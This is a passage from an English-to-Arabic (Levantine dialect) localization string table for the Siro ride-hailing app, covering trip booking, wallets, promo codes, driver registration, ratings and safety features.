"تم اكتشاف مخاطر أمنية محتملة. التطبيق رح يقفل خلال @seconds ثانية.", - "Pre-booking": "حجز مسبق", - "Press here": "اضغط هون", - "Press to hear": "اضغط عشان تسمع", - "Price": "السعر", - "Price is": "السعر هو", - "Price of trip": "سعر الرحلة", - "Price:": "السعر:", - "Privacy Notice": "إشعار الخصوصية", - "Privacy Policy": "سياسة الخصوصية", - "Profile": "الملف الشخصي", - "Profile Photo Required": "مطلوب صورة شخصية", - "Promo": "عرض ترويجي", - "Promo Already Used": "تم استخدام العرض من قبل", - "Promo Code": "كود الخصم", - "Promo Code Accepted": "تم قبول كود الخصم", - "Promo Copied!": "تم نسخ الكود!", - "Promo End !": "انتهى العرض!", - "Promo Ended": "انتهى العرض", - "Promo code copied to clipboard!": "تم نسخ كود الخصم!", - "Promos": "العروض", - "Promos For Today": "عروض اليوم", - "Promos For today": "عروض اليوم", - "Pyament Cancelled .": "تم إلغاء الدفع.", - "Qatar": "قطر", - "Qatar National Bank Alahli": "البنك الأهلي القطري", - "Question": "سؤال", - "Quick Actions": "إجراءات سريعة", - "Quick Messages": "رسائل سريعة", - "Quiet & Eco-Friendly": "هادئ وصديق للبيئة", - "Raih Gai: For same-day return trips longer than 50km.": "رايح جاي: لرحلات العودة بنفس اليوم أطول من 50 كم.", - "Rate": "تقييم", - "Rate Captain": "قيّم الكابتن", - "Rate Driver": "قيّم السائق", - "Rate Our App": "قيّم تطبيقنا", - "Rate Passenger": "قيّم الراكب", - "Rating is": "التقييم هو", - "Rating submitted successfully": "تم إرسال التقييم بنجاح", - "Rayeh Gai": "رايح جاي", - "Rayeh Gai: Round trip service for convenient travel between cities, easy and reliable.": "رايح جاي: خدمة الذهاب والعودة لرحلات مريحة بين المدن، سهلة وموثوقة.", - "Reason": "السبب", - "Recent Places": "الأماكن الأخيرة", - "Recharge my Account": "اشحن حسابي", - "Record": "تسجيل", - "Record saved": "تم حفظ التسجيل", - "Recorded Trips (Voice & AI Analysis)": "الرحلات المسجلة (صوت وتحليل ذكاء اصطناعي)", - "Recorded Trips for Safety": "رحلات مسجلة للسلامة", - "Refresh": "تحديث", - "Refresh Market": "تحديث السوق", - "Refresh Status": "تحديث الحالة", - "Refuse Order": "رفض الطلب", - "Register": "اشتراك جديد", - "Register Captin": "تسجيل الكابتن", - "Register Driver": "تسجيل السائق", - "Register as Driver": "سجل كسائق", - "Registration completed successfully!": "تم التسجيل بنجاح!", - "Registration failed. Please try again.": "فشل التسجيل. تفضل جرّب مرة تانية.", - "Reject": "رفض", - "Rejected Orders": "الطلبات المرفوضة", - "Rejected Orders Count": "عدد الطلبات المرفوضة", - "Religion": "الدين", - "Remainder": "الباقي", - "Remaining time": "الوقت المتبقي", - "Report": "تقرير", - "Required field": "حقل مطلوب", - "Resend Code": "إعادة إرسال الكود", - "Resend code": "إعادة إرسال الكود", - "Ride History": "سجل الرحلات", - "Ride Management": "إدارة الرحلات", - "Ride Status": "حالة الرحلة", - "Ride Summaries": "ملخصات الرحلات", - "Ride Summary": "ملخص الرحلة", - "Ride Today :": "رحلات اليوم :", - "Ride Wallet": "محفظة الرحلة", - "Ride info": "معلومات الرحلة", - "Ride information not found. Please refresh the page.": "ما لقينا معلومات الرحلة. تفضل حدّث الصفحة.", - "Rouats of Trip": "محطات الرحلة", - "Route Not Found": "ما لقينا طريق", - "Routs of Trip": "محطات الرحلة", - "Run Google Maps directly": "شغّل خرائط جوجل مباشرة", - "S.P": "ل.س", - "SAFAR Wallet": "محفظة سفر", - "SOS": "طوارئ", - "SOS Phone": "هاتف الطوارئ", - "SUBMIT": "إرسال", - "SYP": "ل.س", - "EGP": "ج.م", - "Safety & Security": "السلامة والأمان", - "Saudi Arabia": "السعودية", - "Save & Call": "حفظ واتصل", - "Save Credit Card": "حفظ بطاقة الائتمان", - "Saved Sucssefully": "تم الحفظ بنجاح", - "Scan Driver License": "امسح رخصة السائق", - "Scan ID Api": "امسح الهوية API", - "Scan ID MklGoogle": "امسح الهوية MklGoogle", - "Scan ID Tesseract": "امسح الهوية Tesseract", - "Scan Id": "امسح الهوية", - "Scheduled Time:": "الوقت المحدد:", - "Scooter": "سكوتر", - "Search country": "ابحث عن بلد", - "Search for a starting point": "ابحث عن نقطة بداية", - "Search for waypoint": "ابحث عن نقطة طريق", - "Search for your Start point": "ابحث عن نقطة البداية", - "Search for your destination": "ابحث عن وجهتك", - "Search name or number...": "ابحث باسم أو رقم...", - "Searching for the nearest captain...": "عم نبحث عن أقرب كابتن...", - "Security Warning": "تحذير أمني", - "See you Tomorrow!": "نشوفك بكرة!", - "See you on the road!": "نشوفك على الطريق!", - "Select Country": "اختر البلد", - "Select Date": "اختر التاريخ", - "Select Name of Your Bank": "اختر اسم بنكك", - "Select Order Type": "اختر نوع الطلب", - "Select Payment Amount": "اختر مبلغ الدفع", - "Select This Ride": "اختر هالرحلة", - "Select Time": "اختر الوقت", - "Select Waiting Hours": "اختر ساعات الانتظار", - "Select Your Country": "اختر بلدك", - "Select a Bank": "اختر بنك", - "Select a Contact": "اختر جهة اتصال", - "Select a File": "اختر ملف", - "Select a file": "اختر ملف", - "Select a quick message": "اختر رسالة سريعة", - "Select date and time of trip": "اختر تاريخ ووقت الرحلة", - "Select one message": "اختر رسالة وحدة", - "Select recorded trip": "اختر رحلة مسجلة", - "Select your destination": "اختر وجهتك", - "Select your preferred language for the app interface.": "اختر اللغة اللي بتفضلها لواجهة التطبيق.", - "Selected Date": "التاريخ المختار", - "Selected Date and Time": "التاريخ والوقت المختار", - "Selected Time": "الوقت المختار", - "Selected driver": "السائق المختار", - "Selected file:": "الملف المختار:", - "Send Email": "أرسل بريد", - "Send Siro app to him": "أرسل تطبيق سيرو له", - "Send Invite": "أرسل دعوة", - "Send Message": "أرسل رسالة", - "Send Verfication Code": "أرسل رمز التحقق", - "Send Verification Code": "أرسل رمز التحقق", - "Send WhatsApp Message": "أرسل رسالة واتساب", - "Send a custom message": "أرسل رسالة مخصصة", - "Send to Driver Again": "أرسل للسائق مرة تانية", - "Server error. Please try again.": "خطأ بالخادم. تفضل جرّب مرة تانية.", - "Session expired. Please log in again.": "الجلسة انتهت. سجل دخول مرة تانية.", - "Set Location on Map": "حدد الموقع على الخريطة", - "Set Phone Number": "حدد رقم الهاتف", - "Set Wallet Phone Number": "حدد رقم هاتف المحفظة", - "Set pickup location": "حدد موقع الالتقاط", - "Setting": "إعداد", - "Settings": "الإعدادات", - "Sex is": "الجنس هو", - "ShamCash Account": "حساب شام كاش", - "Share": "مشاركة", - "Share App": "شارك التطبيق", - "Share Code": "شارك الكود", - "Share Trip Details": "شارك تفاصيل الرحلة", - "Share the app with another new driver": "شارك التطبيق مع سائق جديد تاني", - "Share the app with another new passenger": "شارك التطبيق مع راكب جديد تاني", - "Share this code with other drivers. Both of you will receive rewards!": "شارك هالكود مع سواقين تانيين. كلكم رح تاخدوا مكافآت!", - "Share this code with passengers and earn rewards when they use it!": "شارك هالكود مع ركاب واكسب مكافآت لما يستخدموه!", - "Share this code with your friends and earn rewards when they use it!": "شارك هالكود مع صحابك واكسب مكافآت لما يستخدموه!", - "Share with friends and earn rewards": "شارك مع صحابك واكسب مكافآت", - "Share your experience to help us improve...": "شارك تجربتك عشان تساعدنا نتحسّن...", - "Show Invitations": "عرض الدعوات", - "Show My Trip Count": "عرض عدد رحلاتي", - "Show Promos": "عرض العروض", - "Show Promos to Charge": "عرض العروض للشحن", - "Show behavior page": "عرض صفحة السلوك", - "Show health insurance providers near me": "اعرض مزودي التأمين الصحي القريبين مني", - "Show latest promo": "عرض أحدث عرض ترويجي", - "Show maintenance center near my location": "اعرض مراكز الصيانة القريبة مني", - "Show my Cars": "عرض سياراتي", - "Showing": "عرض", - "Sign In by Apple": "تسجيل الدخول بآبل", - "Sign In by Google": "تسجيل الدخول بجوجل", - "Sign In with Google": "تسجيل الدخول بجوجل", - "Sign Out": "تسجيل خروج", - "Sign in for a seamless experience": "سجل دخول لتجربة سلسة", - "Sign in to start your journey": "سجل الدخول لبدء رحلتك", - "Sign in with Apple": "تسجيل الدخول بآبل", - "Sign in with Google for easier email and name entry": "سجل الدخول بجوجل لإدخال البريد والاسم بسهولة", - "Sign in with a provider for easy access": "سجل الدخول عبر مزود للوصول بسهولة", - "Slide to End Trip": "اسحب عشان تنهي الرحلة", - "So go and gain your money": "يلا استلم فلوسك", - "Societe Arabe Internationale De Banque": "المجتمع العربي الدولي للبنوك", - "Something went wrong. Please try again.": "صار شي غلط. جرب مرة تانية.", - "Sorry": "آسف", - "Sorry, the order was taken by another driver.": "آسف، الطلب أخذه سائق تاني.", - "Spacious van service ideal for families and groups. Comfortable, safe, and cost-effective travel together.": "خدمة فان واسعة مثالية للعائلات والمجموعات. رحلة مريحة، آمنة، واقتصادية سوا.", - "Special Order": "طلب خاص", - "Speed": "السرعة", - "Speed Order": "طلب سريع", - "Speed 🔻": "سرعة 🔻", - "Start": "ابدأ", - "Start Record": "ابدأ التسجيل", - "Start Ride": "ابدأ الرحلة", - "Start Trip": "ابدأ الرحلة", - "Start Trip?": "ابدأ الرحلة؟", - "Start the Ride": "ابدأ الرحلة", - "Starting contacts sync in background...": "عم نبدأ مزامنة جهات الاتصال بالخلفية...", - "Statistic": "إحصائية", - "Statistics": "الإحصائيات", - "Status": "الحالة", - "Status is": "الحالة هي", - "Stay": "ابقى", - "Step-by-step instructions on how to request a ride through the Siro app.": "تعليمات خطوة بخطوة عشان تطلب رحلة عبر تطبيق سيرو.", - "Stop": "توقف", - "Store your money with us and receive it in your bank as a monthly salary.": "خزّن فلوسك عنا واستلمها ببنكك كراتب شهري.", - "Submission Failed": "فشل الإرسال", - "Submit": "إرسال", - "Submit Complaint": "إرسال شكوى", - "Submit Question": "إرسال سؤال", - "Submit Rating": "إرسال تقييم", - "Submit Your Complaint": "أرسل شكواك", - "Submit Your Question": "أرسل سؤالك", - "Submit a Complaint": "قدّم شكوى", - "Submit rating": "أرسل تقييم", - "Success": "تم بنجاح", - "Suez Canal Bank": "بنك قناة السويس", - "Support": "الدعم", - "Support Reply": "رد الدعم", - "Swipe to End Trip": "اسحب عشان تنهي الرحلة", - "Switch Rider": "تبديل الراكب", - "Switch between light and dark map styles": "بدّل بين أنماط الخريطة الفاتحة والداكنة", - "Switch between light and dark themes": "بدّل بين السمات الفاتحة والداكنة", - "Syria": "سوريا", - "Take Image": "التقط صورة", - "Take Photo Now": "التقط صورة هلق", - "Take Picture Of Driver License Card": "التقط صورة لرخصة السائق", - "Take Picture Of ID Card": "التقط صورة لبطاقة الهوية", - "Tap on the promo code to copy it!": "اضغط على كود الخصم عشان تنسخه!", - "Tap to upload": "اضغط عشان ترفع", - "Target": "الهدف", - "Tariff": "التعريفة", - "Tariffs": "التعريفات", - "Tax Expiry Date": "تاريخ انتهاء الضريبة", - "Terms of Use": "شروط الاستخدام", - "Terms of Use & Privacy Notice": "شروط الاستخدام وإشعار الخصوصية", - "Thank You!": "شكراً كتير!", - "Thanks": "شكراً", - "The 300 points equal 300 L.E for you\\nSo go and gain your money": "الـ 300 نقطة بتساوي 300 ل.م لك\\nيلا استلم فلوسك", - "The 30000 points equal 30000 S.P for you\\nSo go and gain your money": "الـ 30000 نقطة بتساوي 30000 ل.س لك\\nيلا استلم فلوسك", - "The Amount is less than": "المبلغ أقل من", - "The Driver Will be in your location soon .": "السائق رح يوصل لموقعك قريباً.", - "The United Bank": "البنك المتحد", - "The audio file is not uploaded yet.\\nDo you want to submit without it?": "الملف الصوتي ما انرفع لسا.\\nبدك ترسل من دونه؟", - "The captain is responsible for the route.": "الكابتن مسؤول عن الطريق.", - "The context does not provide any complaint details, so I cannot provide a solution to this issue. Please provide the necessary information, and I will be happy to assist you.": "المعلومات ما بتعطي تفاصيل عن الشكوى، فما بقدر قدّم حل. تفضل قدّم المعلومات اللازمة، ورح أساعدك بكل سرور.", - "The distance less than 500 meter.": "المسافة أقل من 500 متر.", - "The driver accept your order for": "السائق قبل طلبك بـ", - "The driver accepted your order for": "السائق قبل طلبك بـ", - "The driver accepted your trip": "السائق قبل رحلتك", - "The driver canceled your ride.": "السائق ألغى رحلتك.", - "The driver is approaching.": "السائق عم يقرب.", - "The driver on your way": "السائق بطريقه لعندك", - "The driver waiting you in picked location .": "السائق عم يستنياك بمكان الالتقاط.", - "The driver waitting you in picked location .": "السائق عم يستنياك بمكان الالتقاط.", - "The drivers are reviewing your request": "السواقين عم يراجعوا طلبك", - "The email or phone number is already registered.": "البريد أو رقم الهاتف مسجل من قبل.", - "The full name on your criminal record does not match the one on your driver’s license. Please verify and provide the correct documents.": "الاسم الكامل بصحيفتك الجنائية ما بيتطابق مع رخصة السائق. تفضل تحقق وقدّم الوثائق الصحيحة.", - "The invitation was sent successfully": "تم إرسال الدعوة بنجاح", - "The national number on your driver’s license does not match the one on your ID document. Please verify and provide the correct documents.": "الرقم القومي برخصة السائق ما بيتطابق مع الهوية. تفضل تحقق وقدّم الوثائق الصحيحة.", - "The order Accepted by another Driver": "تم قبول الطلب من سائق تاني", - "The order has been accepted by another driver.": "تم قبول الطلب من سائق تاني.", - "The payment was approved.": "تمت الموافقة على الدفع.", - "The payment was not approved. Please try again.": "ما انقبل الدفع. تفضل جرّب مرة تانية.", - "The period of this code is 24 hours": "صلاحية هذا الكود هي 24 ساعة", - "Trips": "الرحلات", - "Challenges": "التحديات", - "My Schedule": "جدولي", - "Leaderboard": "لوحة المتصدرين", - "Daily Challenges": "التحديات اليومية", - "Weekly Challenges": "التحديات الأسبوعية", - "Claim Reward": "استلام المكافأة", - "Claimed": "تم الاستلام", - "You": "أنت", - "Weekly Plan": "الخطة الأسبوعية", - "Work Days": "أيام العمل", - "Day Off": "يوم عطلة", - "Invite Driver": "دعوة سائق", - "The price may increase if the route changes.": "السعر ممكن يزيد إذا تغيّر الطريق.", - "The promotion period has ended.": "انتهت فترة العرض.", - "The reason is": "السبب هو", - "The selected contact does not have a phone number": "جهة الاتصال المختارة ما فيها رقم هاتف", - "The trip has started! Feel free to contact emergency numbers, share your trip, or activate voice recording for the journey": "بلشت الرحلة! تفضل اتصل بأرقام الطوارئ، شارك رحلتك، أو فعّل التسجيل الصوتي للرحلة", - "There is no data yet.": "ما في بيانات لسا.", - "There is no help Question here": "ما في أسئلة مساعدة هون", - "There is no notification yet": "ما في إشعارات لسا", - "There no Driver Aplly your order sorry for that": "ما في سائق قدم على طلبك، آسفين علهيك", - "This Trip Cancelled": "تم إلغاء هالرحلة", - "This Trip Was Cancelled": "تم إلغاء هالرحلة", - "This amount for all trip I get from Passengers": "هالمبلغ عن كل الرحلات اللي جبته من الركاب", - "This amount for all trip I get from Passengers and Collected For me in": "هالمبلغ عن كل الرحلات اللي جبته من الركاب وتم جمعه لي بـ", - "This driver is not registered": "هالسائق مش مسجل", - "This for new registration": "هالتسجيل جديد", - "This is a scheduled notification.": "هإشعار مبرمج.", - "This is for delivery or a motorcycle.": "هالتوصيل أو للموتوسيكل.", - "This is for scooter or a motorcycle.": "هالسكوتر أو للموتوسيكل.", - "This is the total number of rejected orders per day after accepting the orders": "هالعدد الكلي للطلبات المرفوضة باليوم بعد ما انقبلت", - "This page is only available for Android devices": "هالصفحة متاحة بس لأجهزة أندرويد", - "This phone number has already been invited.": "هالرقم انُدعِي من قبل.", - "This price is": "هالسعر هو", - "This price is fixed even if the route changes for the driver.": "هالسعر ثابت حتى لو تغيّر الطريق للسائق.", - "This price may be changed": "هالسعر ممكن يتغير", - "This ride is already applied by another driver.": "هالرحلة قدم عليها سائق تاني من قبل.", - "This ride is already taken by another driver.": "هالرحلة أخدها سائق تاني من قبل.", - "This ride type allows changes, but the price may increase": "هالنوع من الرحلات بيسمح بالتغييرات، بس السعر ممكن يزيد", - "This ride type does not allow changes to the destination or additional stops": "هالنوع من الرحلات ما بيسمح بتغيير الوجهة أو إضافة محطات", - "This ride was just accepted by another driver.": "هالرحلة انقبلت للتو من سائق تاني.", - "This service will be available soon.": "هالخدمة رح تتوفر قريباً.", - "This trip goes directly from your starting point to your destination for a fixed price. The driver must follow the planned route": "هالرحلة بتروح مباشرة من نقطة البداية للوجهة بسعر ثابت. السائق لازم يتبع الطريق المخطط", - "This trip is for women only": "هالرحلة للنساء بس", - "This will delete all recorded files from your device.": "هالشي رح يحذف كل الملفات المسجلة من جهازك.", - "Time": "الوقت", - "Time Finish is": "وقت الانتهاء هو", - "Time to Passenger": "الوقت للراكب", - "Time to Passenger is": "الوقت للراكب هو", - "Time to arrive": "وقت الوصول", - "TimeStart is": "وقت البدء هو", - "Times of Trip": "أوقات الرحلة", - "Tip is": "الإكرامية هي", - "To :": "إلى :", - "To Home": "للمنزل", - "To Work": "للعمل", - "To become a driver, you must review and agree to the": "عشان تصير سائق، لازم تراجع وتوافق على", - "To become a passenger, you must review and agree to the": "عشان تصير راكب، لازم تراجع وتوافق على", - "To change Language the App": "عشان تغير لغة التطبيق", - "To change some Settings": "عشان تغير بعض الإعدادات", - "To display orders instantly, please grant permission to draw over other apps.": "عشان تعرض الطلبات فوراً، تفضل امنح صلاحية العرض فوق التطبيقات الأخرى.", - "To ensure you receive the most accurate information for your location, please select your country below. This will help tailor the app experience and content to your country.": "عشان تاخد أدق معلومات لموقعك، تفضل اختر بلدك من تحت. هالشي رح يساعدنا نخصّص تجربة التطبيق ومحتواه لبلدك.", - "To get a gift for both": "عشان تاخد هدية للكل", - "To give you the best experience, we need to know where you are. Your location is used to find nearby captains and for pickups.": "عشان نعطيك أحسن تجربة، لازم نعرف وينك موقعك. بنستخدم موقعك عشان نلاقي سواقين قريبين ولعملية الالتقاط.", - "To register as a driver or learn about the requirements, please visit our website or contact Siro support directly.": "عشان تسجل كسائق أو تتعرف على المتطلبات، تفضل زور موقعنا أو تواصل مع دعم سيرو مباشرة.", - "To use Wallet charge it": "عشان تستخدم المحفظة اشحنها", - "Today": "اليوم", - "Top up Balance": "شحن الرصيد", - "Top up Balance to continue": "اشحن الرصيد عشان تكمل", - "Top up Wallet": "شحن المحفظة", - "Top up Wallet to continue": "اشحن المحفظة عشان تكمل", - "Total Amount:": "المبلغ الإجمالي:", - "Total Budget from trips by": "إجمالي الميزانية من الرحلات بـ", - "Total Budget from trips by\\nCredit card is": "إجمالي الميزانية من الرحلات بـ\\nبطاقة الائتمان هي", - "Total Budget from trips is": "إجمالي الميزانية من الرحلات هو", - "Total Budget is": "إجمالي الميزانية هو", - "Total Connection": "إجمالي الاتصال", - "Total Connection Duration:": "إجمالي مدة الاتصال:", - "Total Cost": "التكلفة الإجمالية", - "Total Cost is": "التكلفة الإجمالية هي", - "Total Duration:": "إجمالي المدة:", - "Total For You is": "الإجمالي لك هو", - "Total From Passenger is": "الإجمالي من الراكب هو", - "Total Hours on month": "إجمالي الساعات بالشهر", - "Total Invites": "إجمالي الدعوات", - "Total Net": "صافي الإجمالي", - "Total Orders": "إجمالي الطلبات", - "Total Points": "إجمالي النقاط", - "Total Points is": "إجمالي النقاط هو", - "Total Price": "السعر الإجمالي", - "Total Weekly Earnings": "إجمالي الأرباح الأسبوعية", - "Total budgets on month": "إجمالي الميزانيات بالشهر", - "Total is": "الإجمالي هو", - "Total points is": "إجمالي النقاط هو", - "Total price from": "السعر الإجمالي من", - "Total rides on month": "إجمالي الرحلات بالشهر", - "Total wallet is": "إجمالي المحفظة هو", - "Total weekly is": "إجمالي الأسبوعي هو", - "Transaction failed": "فشلت العملية", - "Transaction successful": "نجاح العملية", - "Transactions this week": "المعاملات بهالأسبوع", - "Transfer": "تحويل", - "Transfer budget": "تحويل الميزانية", - "Transfer money multiple times.": "حوّل فلوس كذا مرة.", - "Transfer to anyone.": "حوّل لأي واحد.", - "Travel in a modern, silent electric car. A premium, eco-friendly choice for a smooth ride.": "سافر بسيارة كهربائية حديثة وهادئة. خيار فاخر وصديق للبيئة لرحلة سلسة.", - "Traveled": "تم السفر", - "Trip Cancelled": "انلغى المشوار", - "Trip Cancelled from driver. We are looking for a new driver. Please wait.": "انلغى المشوار من السائق. عم نبحث عن سائق جديد. تفضل استنى.", - "Trip Cancelled. The cost of the trip will be added to your wallet.": "تم إلغاء الرحلة. رح تتضاف تكلفة الرحلة لمحفظتك.", - "Trip Cancelled. The cost of the trip will be deducted from your wallet.": "تم إلغاء الرحلة. رح تنخصم تكلفة الرحلة من محفظتك.", - "Trip Completed": "تمت الرحلة", - "Trip Detail": "تفاصيل الرحلة", - "Trip Details": "تفاصيل الرحلة", - "Trip Finished": "خلص المشوار", - "Trip ID": "رقم الرحلة", - "Trip Info": "معلومات الرحلة", - "Trip Monitor": "مراقب الرحلة", - "Trip Monitoring": "مراقبة الرحلة", - "Trip Started": "بلش المشوار", - "Trip Status:": "حالة الرحلة:", - "Trip Summary with": "ملخص الرحلة مع", - "Trip Timeline": "خط زمني للرحلة", - "Trip finished": "الرحلة خلصت", - "Trip has Steps": "الرحل فيها محطات", - "Trip is Begin": "بلشت الرحلة", - "Trip taken": "تم أخذ الرحلة", - "Trip updated successfully": "تم تحديث الرحلة بنجاح", - "Trips recorded": "تم تسجيل الرحلات", - "Turkey": "تركيا", - "Turn left": "انعطف يسار", - "Turn right": "انعطف يمين", - "Turn sharp left": "انعطف حاد يسار", - "Turn sharp right": "انعطف حاد يمين", - "Turn slight left": "انعطف خفيف يسار", - "Turn slight right": "انعطف خفيف يمين", - "Type Any thing": "اكتب أي شي", - "Type a message...": "اكتب رسالة...", - "Type here Place": "اكتب المكان هون", - "Type something": "اكتب شيئًا", - "Type something...": "اكتب شيئًا...", - "Type your Email": "اكتب بريدك الإلكتروني", - "Type your message": "اكتب رسالتك", - "Type your message...": "اكتب رسالتك...", - "Types of Trips in Siro:": "أنواع الرحلات بسيرو:", - "USA": "أمريكا", - "Uncompromising Security": "أمان لا يتنازل عنه", - "Unknown": "غير معروف", - "Unknown Driver": "سائق غير معروف", - "Unknown Location": "موقع غير معروف", - "Update": "تحديث", - "Update Available": "في تحديث جديد", - "Update Education": "تحديث التعليم", - "Update Gender": "تحديث الجنس", - "Updated": "تم التحديث", - "Updated successfully": "تم التحديث بنجاح", - "Upload Documents": "ارفع المستندات", - "Upload or AI failed": "فشل الرفع أو الذكاء الاصطناعي", - "Uploaded": "تم الرفع", - "Use Touch ID or Face ID to confirm payment": "استخدم بصمة الإصبع أو الوجه لتأكيد الدفع", - "Use code:": "استخدم الكود:", - "Use my invitation code to get a special gift on your first ride!": "استخدم كود الدعوة بتاعي عشان تاخد هدية خاصة بأول رحلة!", - "Use my referral code:": "استخدم كود الدعوة بتاعي:", - "Use this code in registration": "استخدم هالكود بالتسجيل", - "User does not exist.": "المستخدم مش موجود.", - "User does not have a wallet #1652": "المستخدم ما عندو محفظة #1652", - "User not found": "ما لقينا المستخدم", - "User not logged in": "المستخدم مسجل دخول", - "User with this phone number or email already exists.": "مستخدم بهالرقم أو البريد موجود من قبل.", - "VIN": "رقم الهيكل", - "VIN :": "رقم الهيكل :", - "VIN is": "رقم الهيكل هو", - "VIP Order": "طلب VIP", - "VIP Order Accepted": "تم قبول طلب VIP", - "VIP Orders": "طلبات VIP", - "Valid Until:": "صالح حتى:", - "Value": "القيمة", - "Van": "فان", - "Van / Bus": "فان / باص", - "Van for familly": "فان للعائلات", - "Variety of Trip Choices": "تنوع خيارات الرحلات", - "Vehicle": "المركبة", - "Vehicle Category": "فئة المركبة", - "Vehicle Details": "تفاصيل المركبة", - "Vehicle Details Back": "تفاصيل المركبة (خلفي)", - "Vehicle Details Front": "تفاصيل المركبة (أمامي)", - "Vehicle Information": "معلومات المركبة", - "Vehicle Options": "خيارات المركبة", - "Verification Code": "رمز التحقق", - "Verify": "توثيق", - "Verify Email": "توثيق البريد", - "Verify Email For Driver": "توثيق البريد للسائق", - "Verify OTP": "توثيق OTP", - "Vibration": "اهتزاز", - "Vibration feedback for all buttons": "تغذية راجعة بالاهتزاز لكل الأزرار", - "Vibration feedback for buttons": "تغذية راجعة بالاهتزاز للأزرار", - "Videos Tutorials": "فيديوهات تعليمية", - "View your past transactions": "شوف معاملاتك السابقة", - "Visa": "فيزا", - "Visit Website/Contact Support": "زور الموقع/تواصل مع الدعم", - "Visit our website or contact Siro support for information on driver registration and requirements.": "زور موقعنا أو تواصل مع دعم سيرو لمعلومات عن تسجيل السائق والمتطلبات.", - "Voice Calling": "الاتصال الصوتي", - "Waiting": "بالانتظار", - "Waiting Time": "وقت الانتظار", - "Waiting VIP": "انتظار VIP", - "Waiting for Captin ...": "عم نستنى الكابتن...", - "Waiting for Driver ...": "عم نستنى السائق...", - "Waiting for your location": "عم نستنى موقعك", - "Wallet": "المحفظة", - "Wallet Add": "إضافة للمحفظة", - "Wallet Added": "تمت الإضافة للمحفظة", - "Wallet Added\\${(remainingFee).toStringAsFixed(0)}": "تمت الإضافة للمحفظة \\${(remainingFee).toStringAsFixed(0)}", - "Wallet Type": "نوع المحفظة", - "Wallet is blocked": "المحفظة محظورة", - "Wallet!": "المحفظة!", - "Warning": "تحذير", - "Warning: Siroing detected!": "تحذير: تم كشف تجاوزات!", - "Warning: Speeding detected!": "تحذير: تم كشف سرعة زائدة!", - "We Are Sorry That we dont have cars in your Location!": "آسفين ما عندنا سيارات بموقعك!", - "We are looking for a captain but the price may increase to let a captain accept": "عم نبحث عن كابتن بس السعر ممكن يزيد عشان يقبل كابتن", - "We are process picture please wait": "عم نعالج الصورة تفضل استنى", - "We are search for nearst driver": "عم نبحث عن أقرب سائق", - "We are searching for the nearest driver": "عم نبحث عن أقرب سائق لك", - "We are searching for the nearest driver to you": "عم نبحث عن أقرب سائق لك", - "We connect you with the nearest drivers for faster pickups and quicker journeys.": "بنربطك بأقرب السواقين لالتقاط أسرع ورحلات أسرع.", - "We have maintenance offers for your car. You can use them after completing 600 trips to get a 20% discount on car repairs. Enjoy using our Siro app and be part of our Siro family.": "عندنا عروض صيانة لسيارتك. تقدر تستخدمها بعد ما تكمل 600 رحلة عشان تاخد خصم 20% على تصليح السيارة. استمتع باستخدام تطبيق سيرو وكون جزء من عيلة سيرو.", - "We have partnered with health insurance providers to offer you special health coverage. Complete 500 trips and receive a 20% discount on health insurance premiums.": "عقدنا شراكة مع مزودي تأمين صحي عشان نعطيك تغطية صحية خاصة. اكمل 500 رحلة واحصل على خصم 20% على أقساط التأمين الصحي.", - "We have received your application to join us as a driver. Our team is currently reviewing it. Thank you for your patience.": "استلمنا طلبك للانضمام إلينا كسائق. فريقنا عم يراجعه هلق. شكراً لصبرك.", - "We have sent a verification code to your mobile number:": "أرسلنا رمز تحقق لرقم جوالك:", - "We need access to your location to match you with nearby passengers and ensure accurate navigation.": "نحتاج صلاحية موقعك عشان نربطك بركاب قريبين ونضمن ملاحة دقيقة.", - "We need access to your location to match you with nearby passengers and provide accurate navigation.": "نحتاج للوصول لموقعك عشان نربطك بالركاب القريبين ونوفر توجيه دقيق.", - "We need your location to find nearby drivers for pickups and drop-offs.": "بنحتاج موقعك عشان نلاقي سواقين قريبين للالتقاط والتنزيل.", - "We need your phone number to contact you and to help you receive orders.": "بنحتاج رقم هاتفك عشان نتواصل معك ونساعدك تستلم طلبات.", - "We need your phone number to contact you and to help you.": "بنحتاج رقم هاتفك عشان نتواصل معك ونساعدك.", - "We noticed the Siro is exceeding 100 km/h. Please slow down for your safety. If you feel unsafe, you can share your trip details with a contact or call the police using the red SOS button.": "لاحظنا إن السرعة فوق 100 كم/ساعة. تفضل خفف السرعة عشان سلامتك. إذا حسيت إنك مش بأمان، تقدر تشارك تفاصيل رحلتك مع جهة اتصال أو تتصل بالشرطة بزر الطوارئ الأحمر.", - "We regret to inform you that another driver has accepted this order.": "نأسف لإعلامك إن سائق تاني قبل هالطلب.", - "We search nearst Driver to you": "عم نبحث عن أقرب سائق لك", - "We sent 5 digit to your Email provided": "أرسلنا 5 أرقام لبريدك الإلكتروني اللي قدّمته", - "We use location to get accurate and nearest passengers for you": "بنستخدم موقعك عشان نلاقي أدق وأقرب ركاب لك", - "We use your precise location to find the nearest available driver and provide accurate pickup and dropoff information. You can manage this in Settings.": "بنستخدم موقعك الدقيق عشان نلاقي أقرب سائق متاح ونعطيك معلومات دقيقة للالتقاط والتنزيل. تقدر تدير هالشي بالإعدادات.", - "We will look for a new driver.\\nPlease wait.": "هنبحث عن سائق جديد.\\nمن فضلك انتظر.", - "Weekly Budget": "الميزانية الأسبوعية", - "Weekly Summary": "الملخص الأسبوعي", - "Welcome": "ياهلا وسهلا", - "Welcome Back!": "مرحباً بعودتك!", - "Welcome Offer!": "عرض ترحيبي!", - "Welcome to Siro!": "أهلاً بسيرو!", - "What are the order details we provide to you?": "إيش تفاصيل الطلب اللي بنقدملك؟", - "What are the requirements to become a driver?": "إيش المتطلبات عشان تصير سائق؟", - "What is Types of Trips in Siro?": "إيش أنواع الرحلات بسيرو؟", - "What is the feature of our wallet?": "إيش مميزات محفظتنا؟", - "What safety measures does Siro offer?": "إيش إجراءات السلامة اللي بيقدمها سيرو؟", - "What types of vehicles are available?": "إيش أنواع المركبات المتاحة؟", - "WhatsApp": "واتساب", - "WhatsApp Location Extractor": "مستخرج موقع الواتساب", - "When": "متى", - "When you complete 500 trips, you will be eligible for exclusive health insurance offers.": "لما تكمل 500 رحلة، رح تكون مؤهل لعروض تأمين صحي حصرية.", - "When you complete 600 trips, you will be eligible to receive offers for maintenance of your car.": "لما تكمل 600 رحلة، رح تكون مؤهل لعروض صيانة سيارتك.", - "Where are you going?": "وين رايح؟", - "Where are you, sir?": "وينك يا سيدي؟", - "Where to": "وين بدك تروح؟", - "Where you want go": "وين بدك تروح", - "Which method you will pay": "إيش طريقة الدفع اللي بدك تستخدمها", - "Why Choose Siro?": "ليش تختار سيرو؟", - "Why do you want to cancel this trip?": "ليش بدك تلغي هالرحلة؟", 